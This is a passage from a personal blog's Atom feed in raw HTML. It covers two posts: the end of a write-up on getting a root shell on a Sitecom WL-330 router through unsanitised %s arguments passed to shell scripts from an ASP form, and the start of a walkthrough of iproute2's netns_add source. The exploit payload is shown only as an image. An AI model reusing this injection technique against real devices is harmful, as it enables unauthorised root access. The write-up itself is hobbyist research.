&lt;p&gt;Here&amp;rsquo;s something that looked like it had a lot of potential:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ strings /bin/webs | grep %s | grep /bin
/bin/nbtscan -a -r %s.1-50/24 &amp;gt; /var/netName.var
/bin/nbtscan -a -r %s.51-100/24 &amp;gt;&amp;gt; /var/netName.var
/bin/nbtscan -a -r %s.101-150/24 &amp;gt;&amp;gt; /var/netName.var
/bin/nbtscan -a -r %s.151-200/24 &amp;gt;&amp;gt; /var/netName.var
/bin/nbtscan -a -r %s.201-254/24 &amp;gt;&amp;gt; /var/netName.var
/bin/rftest_old.sh %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s
/bin/storage.sh %s
/bin/rftest.sh %s &amp;gt; /tmp/rftest.out
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That looks like argument interpolation, straight into the shell!&lt;/p&gt;
&lt;p&gt;Some of the words I found near &lt;code&gt;rftest_old.sh&lt;/code&gt; appeared in an ASP file, in &lt;code&gt;/web/wlanMP.asp&lt;/code&gt;. So, here&amp;rsquo;s the exploit:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;Sitecom-Wl-330-interface-get-shell.png&#34; alt=&#34;shell escape in ASP script&#34;&gt;&lt;/p&gt;
&lt;p&gt;Post the form, and the magic login screen on the serial console disappears, leaving us at a root shell.&lt;/p&gt;
&lt;h1 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;Getting root on a device normally is a great first step towards installing open source software on it. However, OpenWrt &lt;a href=&#34;https://openwrt.org/supported_devices/432_warning&#34;&gt;really does not want to support devices this small&lt;/a&gt; so the exercise ends here.&lt;/p&gt;
&lt;p&gt;This experience will hopefully one day enable me to actually port OpenWrt to some fun device.&lt;/p&gt;
&lt;h1 id=&#34;additional-notes&#34;&gt;Additional notes&lt;/h1&gt;
&lt;p&gt;After posting this initially, logic analyzers came up in a related conversation. I realised I completely forgot that chapter in this article.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ll keep it short: if you&amp;rsquo;re trying to read serial with a logic analyzer, make sure your sampling rate is high enough. If, by analyzing time between edges, you conclude that the baud rate must be 125000, realise that this is a nice and clean divisor of your sampling rate (1 Million/second I think) and not actually what is happening.&lt;/p&gt;
</content>
            
            
            
            
            
                
                    
                
            
        </entry>
    
        <entry>
            <title type="text">What does ip netns add actually do?</title>
            <link rel="alternate" type="text/html" href="https://7bits.nl/journal/posts/what-does-ip-netns-add-actually-do/" />
            <id>https://7bits.nl/journal/posts/what-does-ip-netns-add-actually-do/</id>
            <updated>2021-12-11T22:16:30&#43;01:00</updated>
            <published>2021-12-05T20:21:29&#43;01:00</published>
            <author>
                    <name>Peter van Dijk</name>
                    <uri>https://7bits.nl/journal/</uri>
                    <email>peter@7bits.nl</email>
                    </author>
            <rights>[CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/deed.en)</rights><summary type="html">While trying to add network namespace support to OpenWrt&amp;rsquo;s netifd, I ran into a severe lack of documentation about what named network namespaces in Linux actually are. It turns out that while the Linux kernel has network namespaces, naming them is really an iproute2 thing, and other tools that also try to work with named network namespaces are best off emulating the iproute2 conventions.</summary>
            
                <content type="html">&lt;p&gt;While trying to add network namespace support to OpenWrt&amp;rsquo;s &lt;a href=&#34;https://openwrt.org/docs/techref/netifd&#34;&gt;&lt;code&gt;netifd&lt;/code&gt;&lt;/a&gt;, I ran into a severe lack of documentation about what named network namespaces in Linux actually are.
It turns out that while the Linux kernel has network namespaces, naming them is really an iproute2 thing, and other tools that also try to work with named network namespaces are best off emulating the iproute2 conventions.&lt;/p&gt;
&lt;p&gt;From the &lt;code&gt;ip-netns(8)&lt;/code&gt; manual page:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;By convention a named network namespace is an object at &lt;code&gt;/var/run/netns/NAME&lt;/code&gt; that can be opened. The
file descriptor resulting from opening &lt;code&gt;/var/run/netns/NAME&lt;/code&gt; refers to the specified network namespace.
Holding that file descriptor open keeps the network namespace alive. The file descriptor can be used
with the setns(2) system call to change the network namespace associated with a task.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It also turns out that getting these conventions right is a lot of work, if you don&amp;rsquo;t want to call out to &lt;code&gt;ip netns&lt;/code&gt;!&lt;/p&gt;
&lt;p&gt;So, let&amp;rsquo;s go through the actual code and see what all this fuss I am making is about.
This is from &lt;a href=&#34;https://git.kernel.org/pub/scm/network/iproute2/iproute2.git/tree/ip/ipnetns.c?h=v5.15.0&#34;&gt;version 5.15.0&lt;/a&gt;.
We will assume the user said &lt;code&gt;ip netns add foo&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;798
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;799
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;800
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;801
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;802
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;803
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;netns_add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;argc&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;char&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;**&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;argv&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;create&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;cm&#34;&gt;/* This function creates a new network namespace and
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cm&#34;&gt;	 * a new mount namespace and bind them into a well known
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cm&#34;&gt;	 * location in the filesystem based on the name provided.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cm&#34;&gt;	 *
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;There is a &lt;em&gt;lot&lt;/em&gt; hiding in those words.
We will figure them all out below.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;804
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;805
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;806
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	 &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;If&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;create&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;is&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;a&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;namespace&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;will&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;be&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;created&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	 &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;otherwise&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;an&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;existing&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;one&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;will&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;be&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;attached&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;to&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;the&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;file&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	 &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;I will ignore the &lt;code&gt;create=false&lt;/code&gt; case here - that&amp;rsquo;s for &lt;code&gt;ip netns attach&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;807
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;808
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;809
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;810
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;811
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;812
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;813
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;814
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;815
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;816
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;817
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;818
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;819
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;820
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;821
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;822
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;823
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;824
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;825
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;826
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;827
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;828
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;829
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;830
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;831
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;832
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;833
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;834
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	 &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;The&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;mount&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;namespace&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;is&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;created&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;so&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;that&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;any&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;necessary&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	 &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;userspace&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tweaks&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;like&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;remounting&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sys&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;or&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bind&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;mounting&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	 &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;a&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;etc&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;resolv&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;conf&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;can&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;be&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;shared&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;between&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;users&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	 &lt;span class=&#34;err&#34;&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;kt&#34;&gt;char&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;netns_path&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;PATH_MAX&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;proc_path&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;PATH_MAX&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;char&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;kt&#34;&gt;pid_t&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pid&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;fd&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;lock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;made_netns_run_dir_mount&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;create&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;argc&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;nf&#34;&gt;fprintf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;stderr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;No netns name specified&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;argc&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;nf&#34;&gt;fprintf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;stderr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;No netns name and PID specified&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;get_s32&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;pid&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;argv&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;||&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;!&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;pid&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;nf&#34;&gt;fprintf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;stderr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;Invalid PID: %s&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;argv&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;			&lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;n&#34;&gt;name&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;argv&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;The &lt;code&gt;add&lt;/code&gt; case wants a name, and aborts if it did not get one.
The &lt;code&gt;attach&lt;/code&gt; case also wants a PID.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;836
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;nf&#34;&gt;snprintf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;netns_path&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;sizeof&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;netns_path&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;%s/%s&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;NETNS_RUN_DIR&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;In &lt;code&gt;namespace.h&lt;/code&gt;, we find &lt;code&gt;#define NETNS_RUN_DIR &amp;quot;/var/run/netns&amp;quot;&lt;/code&gt;.
Remember, we said we were tracing &lt;code&gt;ip netns add foo&lt;/code&gt;.
So &lt;code&gt;netns_path&lt;/code&gt; now holds &lt;code&gt;&amp;quot;/var/run/netns/foo&amp;quot;&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
